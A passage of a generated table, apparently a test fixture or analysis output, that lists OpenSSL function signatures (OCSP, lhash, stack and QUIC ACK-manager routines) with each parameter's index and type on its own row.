| 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ *,X509_EXTENSION *,int) | | OCSP_ONEREQ_add_ext | 1 | X509_EXTENSION * | +| (OCSP_ONEREQ *,X509_EXTENSION *,int) | | OCSP_ONEREQ_add_ext | 2 | int | +| (OCSP_ONEREQ *,const ASN1_OBJECT *,int) | | OCSP_ONEREQ_get_ext_by_OBJ | 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ *,const ASN1_OBJECT *,int) | | OCSP_ONEREQ_get_ext_by_OBJ | 1 | const ASN1_OBJECT * | +| (OCSP_ONEREQ *,const ASN1_OBJECT *,int) | | OCSP_ONEREQ_get_ext_by_OBJ | 2 | int | +| (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | int | +| (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | int | +| (OCSP_ONEREQ *,int,int *,int *) | | OCSP_ONEREQ_get1_ext_d2i | 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ *,int,int *,int *) | | OCSP_ONEREQ_get1_ext_d2i | 1 | int | +| (OCSP_ONEREQ *,int,int *,int *) | | OCSP_ONEREQ_get1_ext_d2i | 2 | int * | +| (OCSP_ONEREQ *,int,int *,int *) | | OCSP_ONEREQ_get1_ext_d2i | 3 | int * | +| (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_NID | 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_NID | 1 | int | +| (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_NID | 2 | int | +| (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_critical | 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_critical | 1 | int | +| (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_critical | 2 | int | +| (OCSP_ONEREQ *,int,void *,int,unsigned long) | | OCSP_ONEREQ_add1_ext_i2d | 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ *,int,void *,int,unsigned long) | | OCSP_ONEREQ_add1_ext_i2d | 1 | int | +| (OCSP_ONEREQ *,int,void *,int,unsigned long) | | OCSP_ONEREQ_add1_ext_i2d | 2 | void * | +| (OCSP_ONEREQ *,int,void *,int,unsigned long) | | OCSP_ONEREQ_add1_ext_i2d | 3 | int | +| (OCSP_ONEREQ *,int,void *,int,unsigned long) | | OCSP_ONEREQ_add1_ext_i2d | 4 | unsigned long | +| (OCSP_REQINFO *) | | OCSP_REQINFO_free | 0 | OCSP_REQINFO * | +| (OCSP_REQINFO **,const unsigned char **,long) | | d2i_OCSP_REQINFO | 0 | OCSP_REQINFO ** | +| (OCSP_REQINFO **,const unsigned char **,long) | | d2i_OCSP_REQINFO | 1 | const unsigned char ** | +| (OCSP_REQINFO **,const unsigned char **,long) | | d2i_OCSP_REQINFO | 2 | long | +| (OCSP_REQUEST *) | | OCSP_REQUEST_free | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST **,const unsigned char **,long) | | d2i_OCSP_REQUEST | 0 | OCSP_REQUEST ** | +| (OCSP_REQUEST **,const unsigned char **,long) | | d2i_OCSP_REQUEST | 1 | const unsigned char ** | +| (OCSP_REQUEST **,const unsigned char **,long) | | d2i_OCSP_REQUEST | 2 | long | +| (OCSP_REQUEST *,OCSP_CERTID *) | | OCSP_request_add0_id | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,OCSP_CERTID *) | | OCSP_request_add0_id | 1 | OCSP_CERTID * | +| (OCSP_REQUEST *,X509 *) | | OCSP_request_add1_cert | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,X509 *) | | OCSP_request_add1_cert | 1 | X509 * | +| (OCSP_REQUEST *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_request_sign | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_request_sign | 1 | X509 * | +| (OCSP_REQUEST *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_request_sign | 2 | EVP_PKEY * | +| (OCSP_REQUEST *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_request_sign | 3 | const EVP_MD * | +| (OCSP_REQUEST *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_request_sign | 4 | stack_st_X509 * | +| (OCSP_REQUEST *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_request_sign | 5 | unsigned long | +| (OCSP_REQUEST *,X509_EXTENSION *,int) | | OCSP_REQUEST_add_ext | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,X509_EXTENSION *,int) | | OCSP_REQUEST_add_ext | 1 | X509_EXTENSION * | +| (OCSP_REQUEST *,X509_EXTENSION *,int) | | OCSP_REQUEST_add_ext | 2 | int | +| (OCSP_REQUEST *,const ASN1_OBJECT *,int) | | OCSP_REQUEST_get_ext_by_OBJ | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,const ASN1_OBJECT *,int) | | OCSP_REQUEST_get_ext_by_OBJ | 1 | const ASN1_OBJECT * | +| (OCSP_REQUEST *,const ASN1_OBJECT *,int) | | OCSP_REQUEST_get_ext_by_OBJ | 2 | int | +| (OCSP_REQUEST *,const X509_NAME *) | | OCSP_request_set1_name | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,const X509_NAME *) | | OCSP_request_set1_name | 1 | const X509_NAME * | +| (OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int) | | process_responder | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int) | | process_responder | 1 | const char * | +| (OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int) | | process_responder | 2 | const char * | +| (OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int) | | process_responder | 3 | const char * | +| (OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int) | | process_responder | 4 | const char * | +| (OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int) | | process_responder | 5 | const char * | +| (OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int) | | process_responder | 6 | int | +| (OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int) | | process_responder | 7 | stack_st_CONF_VALUE * | +| (OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int) | | process_responder | 8 | int | +| (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | int | +| (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | int | +| (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | int | +| (OCSP_REQUEST *,int,int *,int *) | | OCSP_REQUEST_get1_ext_d2i | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,int,int *,int *) | | OCSP_REQUEST_get1_ext_d2i | 1 | int | +| (OCSP_REQUEST *,int,int *,int *) | | OCSP_REQUEST_get1_ext_d2i | 2 | int * | +| (OCSP_REQUEST *,int,int *,int *) | | OCSP_REQUEST_get1_ext_d2i | 3 | int * | +| (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_NID | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_NID | 1 | int | +| (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_NID | 2 | int | +| (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_critical | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_critical | 1 | int | +| (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_critical | 2 | int | +| (OCSP_REQUEST *,int,void *,int,unsigned long) | | OCSP_REQUEST_add1_ext_i2d | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,int,void *,int,unsigned long) | | OCSP_REQUEST_add1_ext_i2d | 1 | int | +| (OCSP_REQUEST *,int,void *,int,unsigned long) | | OCSP_REQUEST_add1_ext_i2d | 2 | void * | +| (OCSP_REQUEST *,int,void *,int,unsigned long) | | OCSP_REQUEST_add1_ext_i2d | 3 | int | +| (OCSP_REQUEST *,int,void *,int,unsigned long) | | OCSP_REQUEST_add1_ext_i2d | 4 | unsigned long | +| (OCSP_RESPBYTES *) | | OCSP_RESPBYTES_free | 0 | OCSP_RESPBYTES * | +| (OCSP_RESPBYTES **,const unsigned char **,long) | | d2i_OCSP_RESPBYTES | 0 | OCSP_RESPBYTES ** | +| (OCSP_RESPBYTES **,const unsigned char **,long) | | d2i_OCSP_RESPBYTES | 1 | const unsigned char ** | +| (OCSP_RESPBYTES **,const unsigned char **,long) | | d2i_OCSP_RESPBYTES | 2 | long | +| (OCSP_RESPDATA *) | | OCSP_RESPDATA_free | 0 | OCSP_RESPDATA * | +| (OCSP_RESPDATA **,const unsigned char **,long) | | d2i_OCSP_RESPDATA | 0 | OCSP_RESPDATA ** | +| (OCSP_RESPDATA **,const unsigned char **,long) | | d2i_OCSP_RESPDATA | 1 | const unsigned char ** | +| (OCSP_RESPDATA **,const unsigned char **,long) | | d2i_OCSP_RESPDATA | 2 | long | +| (OCSP_RESPID *) | | OCSP_RESPID_free | 0 | OCSP_RESPID * | +| (OCSP_RESPID **,const unsigned char **,long) | | d2i_OCSP_RESPID | 0 | OCSP_RESPID ** | +| (OCSP_RESPID **,const unsigned char **,long) | | d2i_OCSP_RESPID | 1 | const unsigned char ** | +| (OCSP_RESPID **,const unsigned char **,long) | | d2i_OCSP_RESPID | 2 | long | +| (OCSP_RESPID *,X509 *) | | OCSP_RESPID_match | 0 | OCSP_RESPID * | +| (OCSP_RESPID *,X509 *) | | OCSP_RESPID_match | 1 | X509 * | +| (OCSP_RESPID *,X509 *,OSSL_LIB_CTX *,const char *) | | OCSP_RESPID_match_ex | 0 | OCSP_RESPID * | +| (OCSP_RESPID *,X509 *,OSSL_LIB_CTX *,const char *) | | OCSP_RESPID_match_ex | 1 | X509 * | +| (OCSP_RESPID *,X509 *,OSSL_LIB_CTX *,const char *) | | OCSP_RESPID_match_ex | 2 | OSSL_LIB_CTX * | +| (OCSP_RESPID *,X509 *,OSSL_LIB_CTX *,const char *) | | OCSP_RESPID_match_ex | 3 | const char * | +| (OCSP_RESPONSE *) | | OCSP_RESPONSE_free | 0 | OCSP_RESPONSE * | +| (OCSP_RESPONSE *) | | OCSP_response_status | 0 | OCSP_RESPONSE * | +| (OCSP_RESPONSE **,const unsigned char **,long) | | d2i_OCSP_RESPONSE | 0 | OCSP_RESPONSE ** | +| (OCSP_RESPONSE **,const unsigned char **,long) | | d2i_OCSP_RESPONSE | 1 | const unsigned char ** | +| (OCSP_RESPONSE **,const unsigned char **,long) | | d2i_OCSP_RESPONSE | 2 | long | +| (OCSP_REVOKEDINFO *) | | OCSP_REVOKEDINFO_free | 0 | OCSP_REVOKEDINFO * | +| (OCSP_REVOKEDINFO **,const unsigned char **,long) | | d2i_OCSP_REVOKEDINFO | 0 | OCSP_REVOKEDINFO ** | +| (OCSP_REVOKEDINFO **,const unsigned char **,long) | | d2i_OCSP_REVOKEDINFO | 1 | const unsigned char ** | +| (OCSP_REVOKEDINFO **,const unsigned char **,long) | | d2i_OCSP_REVOKEDINFO | 2 | long | +| (OCSP_SERVICELOC *) | | OCSP_SERVICELOC_free | 0 | OCSP_SERVICELOC * | +| (OCSP_SERVICELOC **,const unsigned char **,long) | | d2i_OCSP_SERVICELOC | 0 | OCSP_SERVICELOC ** | +| (OCSP_SERVICELOC **,const unsigned char **,long) | | d2i_OCSP_SERVICELOC | 1 | const unsigned char ** | +| (OCSP_SERVICELOC **,const unsigned char **,long) | | d2i_OCSP_SERVICELOC | 2 | long | +| (OCSP_SIGNATURE *) | | OCSP_SIGNATURE_free | 0 | OCSP_SIGNATURE * | +| (OCSP_SIGNATURE **,const unsigned char **,long) | | d2i_OCSP_SIGNATURE | 0 | OCSP_SIGNATURE ** | +| (OCSP_SIGNATURE **,const unsigned char **,long) | | d2i_OCSP_SIGNATURE | 1 | const unsigned char ** | +| (OCSP_SIGNATURE **,const unsigned char **,long) | | d2i_OCSP_SIGNATURE | 2 | long | +| (OCSP_SINGLERESP *) | | OCSP_SINGLERESP_free | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP *) | | OCSP_SINGLERESP_get_ext_count | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP **,const unsigned char **,long) | | d2i_OCSP_SINGLERESP | 0 | OCSP_SINGLERESP ** | +| (OCSP_SINGLERESP **,const unsigned char **,long) | | d2i_OCSP_SINGLERESP | 1 | const unsigned char ** | +| (OCSP_SINGLERESP **,const unsigned char **,long) | | d2i_OCSP_SINGLERESP | 2 | long | +| (OCSP_SINGLERESP *,X509_EXTENSION *,int) | | OCSP_SINGLERESP_add_ext | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP *,X509_EXTENSION *,int) | | OCSP_SINGLERESP_add_ext | 1 | X509_EXTENSION * | +| (OCSP_SINGLERESP *,X509_EXTENSION *,int) | | OCSP_SINGLERESP_add_ext | 2 | int | +| (OCSP_SINGLERESP *,const ASN1_OBJECT *,int) | | OCSP_SINGLERESP_get_ext_by_OBJ | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP *,const ASN1_OBJECT *,int) | | OCSP_SINGLERESP_get_ext_by_OBJ | 1 | const ASN1_OBJECT * | +| (OCSP_SINGLERESP *,const ASN1_OBJECT *,int) | | OCSP_SINGLERESP_get_ext_by_OBJ | 2 | int | +| (OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **) | | OCSP_single_get0_status | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **) | | OCSP_single_get0_status | 1 | int * | +| (OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **) | | OCSP_single_get0_status | 2 | ASN1_GENERALIZEDTIME ** | +| (OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **) | | OCSP_single_get0_status | 3 | ASN1_GENERALIZEDTIME ** | +| (OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **) | | OCSP_single_get0_status | 4 | ASN1_GENERALIZEDTIME ** | +| (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | int | +| (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | int | +| (OCSP_SINGLERESP *,int,int *,int *) | | OCSP_SINGLERESP_get1_ext_d2i | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP *,int,int *,int *) | | OCSP_SINGLERESP_get1_ext_d2i | 1 | int | +| (OCSP_SINGLERESP *,int,int *,int *) | | OCSP_SINGLERESP_get1_ext_d2i | 2 | int * | +| (OCSP_SINGLERESP *,int,int *,int *) | | OCSP_SINGLERESP_get1_ext_d2i | 3 | int * | +| (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_NID | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_NID | 1 | int | +| (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_NID | 2 | int | +| (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_critical | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_critical | 1 | int | +| (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_critical | 2 | int | +| (OCSP_SINGLERESP *,int,void *,int,unsigned long) | | OCSP_SINGLERESP_add1_ext_i2d | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP *,int,void *,int,unsigned long) | | OCSP_SINGLERESP_add1_ext_i2d | 1 | int | +| (OCSP_SINGLERESP *,int,void *,int,unsigned long) | | OCSP_SINGLERESP_add1_ext_i2d | 2 | void * | +| (OCSP_SINGLERESP *,int,void *,int,unsigned long) | | OCSP_SINGLERESP_add1_ext_i2d | 3 | int | +| (OCSP_SINGLERESP *,int,void *,int,unsigned long) | | OCSP_SINGLERESP_add1_ext_i2d | 4 | unsigned long | +| (OPENSSL_DIR_CTX **) | | OPENSSL_DIR_end | 0 | OPENSSL_DIR_CTX ** | +| (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 0 | OPENSSL_DIR_CTX ** | +| (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 1 | const char * | +| (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 0 | OPENSSL_INIT_SETTINGS * | +| (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 1 | const char * | +| (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 0 | OPENSSL_INIT_SETTINGS * | +| (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 1 | const char * | +| (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 0 | OPENSSL_INIT_SETTINGS * | +| (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 1 | unsigned long | +| (OPENSSL_LHASH *) | | OPENSSL_LH_error | 0 | OPENSSL_LHASH * | +| (OPENSSL_LHASH *,OPENSSL_LH_DOALL_FUNCARG_THUNK,OPENSSL_LH_DOALL_FUNCARG,void *) | | OPENSSL_LH_doall_arg_thunk | 0 | OPENSSL_LHASH * | +| (OPENSSL_LHASH *,OPENSSL_LH_DOALL_FUNCARG_THUNK,OPENSSL_LH_DOALL_FUNCARG,void *) | | OPENSSL_LH_doall_arg_thunk | 1 | OPENSSL_LH_DOALL_FUNCARG_THUNK | +| (OPENSSL_LHASH *,OPENSSL_LH_DOALL_FUNCARG_THUNK,OPENSSL_LH_DOALL_FUNCARG,void *) | | OPENSSL_LH_doall_arg_thunk | 2 | OPENSSL_LH_DOALL_FUNCARG | +| (OPENSSL_LHASH *,OPENSSL_LH_DOALL_FUNCARG_THUNK,OPENSSL_LH_DOALL_FUNCARG,void *) | | OPENSSL_LH_doall_arg_thunk | 3 | void * | +| (OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK) | | OPENSSL_LH_set_thunks | 0 | OPENSSL_LHASH * | +| (OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK) | | OPENSSL_LH_set_thunks | 1 | OPENSSL_LH_HASHFUNCTHUNK | +| (OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK) | | OPENSSL_LH_set_thunks | 2 | OPENSSL_LH_COMPFUNCTHUNK | +| (OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK) | | OPENSSL_LH_set_thunks | 3 | OPENSSL_LH_DOALL_FUNC_THUNK | +| (OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK) | | OPENSSL_LH_set_thunks | 4 | OPENSSL_LH_DOALL_FUNCARG_THUNK | +| (OPENSSL_LHASH *,const void *) | | OPENSSL_LH_delete | 0 | OPENSSL_LHASH * | +| (OPENSSL_LHASH *,const void *) | | OPENSSL_LH_delete | 1 | const void * | +| (OPENSSL_LHASH *,const void *) | | OPENSSL_LH_retrieve | 0 | OPENSSL_LHASH * | +| (OPENSSL_LHASH *,const void *) | | OPENSSL_LH_retrieve | 1 | const void * | +| (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 0 | OPENSSL_LHASH * | +| (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 1 | unsigned long | +| (OPENSSL_LHASH *,void *) | | OPENSSL_LH_insert | 0 | OPENSSL_LHASH * | +| (OPENSSL_LHASH *,void *) | | OPENSSL_LH_insert | 1 | void * | +| (OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC) | | OPENSSL_LH_new | 0 | OPENSSL_LH_HASHFUNC | +| (OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC) | | OPENSSL_LH_new | 1 | OPENSSL_LH_COMPFUNC | +| (OPENSSL_SA *,ossl_uintmax_t,void *) | | ossl_sa_set | 0 | OPENSSL_SA * | +| (OPENSSL_SA *,ossl_uintmax_t,void *) | | ossl_sa_set | 1 | ossl_uintmax_t | +| (OPENSSL_SA *,ossl_uintmax_t,void *) | | ossl_sa_set | 2 | void * | +| (OPENSSL_STACK *) | | OPENSSL_sk_pop | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *) | | OPENSSL_sk_shift | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,OPENSSL_sk_compfunc) | | OPENSSL_sk_set_cmp_func | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,OPENSSL_sk_compfunc) | | OPENSSL_sk_set_cmp_func | 1 | OPENSSL_sk_compfunc | +| (OPENSSL_STACK *,OPENSSL_sk_freefunc_thunk) | | OPENSSL_sk_set_thunks | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,OPENSSL_sk_freefunc_thunk) | | OPENSSL_sk_set_thunks | 1 | OPENSSL_sk_freefunc_thunk | +| (OPENSSL_STACK *,const void *) | | OPENSSL_sk_delete_ptr | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,const void *) | | OPENSSL_sk_delete_ptr | 1 | const void * | +| (OPENSSL_STACK *,const void *) | | OPENSSL_sk_find | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,const void *) | | OPENSSL_sk_find | 1 | const void * | +| (OPENSSL_STACK *,const void *) | | OPENSSL_sk_find_ex | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,const void *) | | OPENSSL_sk_find_ex | 1 | const void * | +| (OPENSSL_STACK *,const void *) | | OPENSSL_sk_push | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,const void *) | | OPENSSL_sk_push | 1 | const void * | +| (OPENSSL_STACK *,const void *) | | OPENSSL_sk_unshift | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,const void *) | | OPENSSL_sk_unshift | 1 | const void * | +| (OPENSSL_STACK *,const void *,int *) | | OPENSSL_sk_find_all | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,const void *,int *) | | OPENSSL_sk_find_all | 1 | const void * | +| (OPENSSL_STACK *,const void *,int *) | | OPENSSL_sk_find_all | 2 | int * | +| (OPENSSL_STACK *,const void *,int) | | OPENSSL_sk_insert | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,const void *,int) | | OPENSSL_sk_insert | 1 | const void * | +| (OPENSSL_STACK *,const void *,int) | | OPENSSL_sk_insert | 2 | int | +| (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | int | +| (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | int | +| (OPENSSL_STACK *,int,const void *) | | OPENSSL_sk_set | 0 | OPENSSL_STACK * | +| (OPENSSL_STACK *,int,const void *) | | OPENSSL_sk_set | 1 | int | +| (OPENSSL_STACK *,int,const void *) | | OPENSSL_sk_set | 2 | const void * | +| (OPENSSL_sk_compfunc) | | OPENSSL_sk_new | 0 | OPENSSL_sk_compfunc | +| (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 0 | OPENSSL_sk_compfunc | +| (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | int | +| (OSSL_AA_DIST_POINT *) | | OSSL_AA_DIST_POINT_free | 0 | OSSL_AA_DIST_POINT * | +| (OSSL_AA_DIST_POINT **,const unsigned char **,long) | | d2i_OSSL_AA_DIST_POINT | 0 | OSSL_AA_DIST_POINT ** | +| (OSSL_AA_DIST_POINT **,const unsigned char **,long) | | d2i_OSSL_AA_DIST_POINT | 1 | const unsigned char ** | +| (OSSL_AA_DIST_POINT **,const unsigned char **,long) | | d2i_OSSL_AA_DIST_POINT | 2 | long | +| (OSSL_ACKM *) | | ossl_ackm_get0_probe_request | 0 | OSSL_ACKM * | +| (OSSL_ACKM *) | | ossl_ackm_get_loss_detection_deadline | 0 | OSSL_ACKM * | +| (OSSL_ACKM *) | | ossl_ackm_get_pto_duration | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,..(*)(..),void *) | | ossl_ackm_set_ack_deadline_callback | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,..(*)(..),void *) | | ossl_ackm_set_ack_deadline_callback | 1 | ..(*)(..) | +| (OSSL_ACKM *,..(*)(..),void *) | | ossl_ackm_set_ack_deadline_callback | 2 | void * | +| (OSSL_ACKM *,..(*)(..),void *) | | ossl_ackm_set_loss_detection_deadline_callback | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,..(*)(..),void *) | | ossl_ackm_set_loss_detection_deadline_callback | 1 | ..(*)(..) | +| (OSSL_ACKM *,..(*)(..),void *) | | ossl_ackm_set_loss_detection_deadline_callback | 2 | void * | +| (OSSL_ACKM *,OSSL_ACKM_TX_PKT *) | | ossl_ackm_on_tx_packet | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,OSSL_ACKM_TX_PKT *) | | ossl_ackm_on_tx_packet | 1 | OSSL_ACKM_TX_PKT * | +| (OSSL_ACKM *,OSSL_TIME) | | ossl_ackm_set_rx_max_ack_delay | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,OSSL_TIME) | | ossl_ackm_set_rx_max_ack_delay | 1 | OSSL_TIME | +| (OSSL_ACKM *,OSSL_TIME) | | ossl_ackm_set_tx_max_ack_delay | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,OSSL_TIME) | | ossl_ackm_set_tx_max_ack_delay | 1 | OSSL_TIME | +| (OSSL_ACKM *,const OSSL_ACKM_RX_PKT *) | | ossl_ackm_on_rx_packet | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,const OSSL_ACKM_RX_PKT *) | | ossl_ackm_on_rx_packet | 1 | const OSSL_ACKM_RX_PKT * | +| (OSSL_ACKM *,const OSSL_QUIC_FRAME_ACK *,int,OSSL_TIME) | | ossl_ackm_on_rx_ack_frame | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,const OSSL_QUIC_FRAME_ACK *,int,OSSL_TIME) | | ossl_ackm_on_rx_ack_frame | 1 | const OSSL_QUIC_FRAME_ACK * | +| (OSSL_ACKM *,const OSSL_QUIC_FRAME_ACK *,int,OSSL_TIME) | | ossl_ackm_on_rx_ack_frame | 2 | int | +| (OSSL_ACKM *,const OSSL_QUIC_FRAME_ACK *,int,OSSL_TIME) | | ossl_ackm_on_rx_ack_frame | 3 | OSSL_TIME | +| (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | int | +| (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | int | +| (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 0 | OSSL_ACKM * | +| (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | int | +| 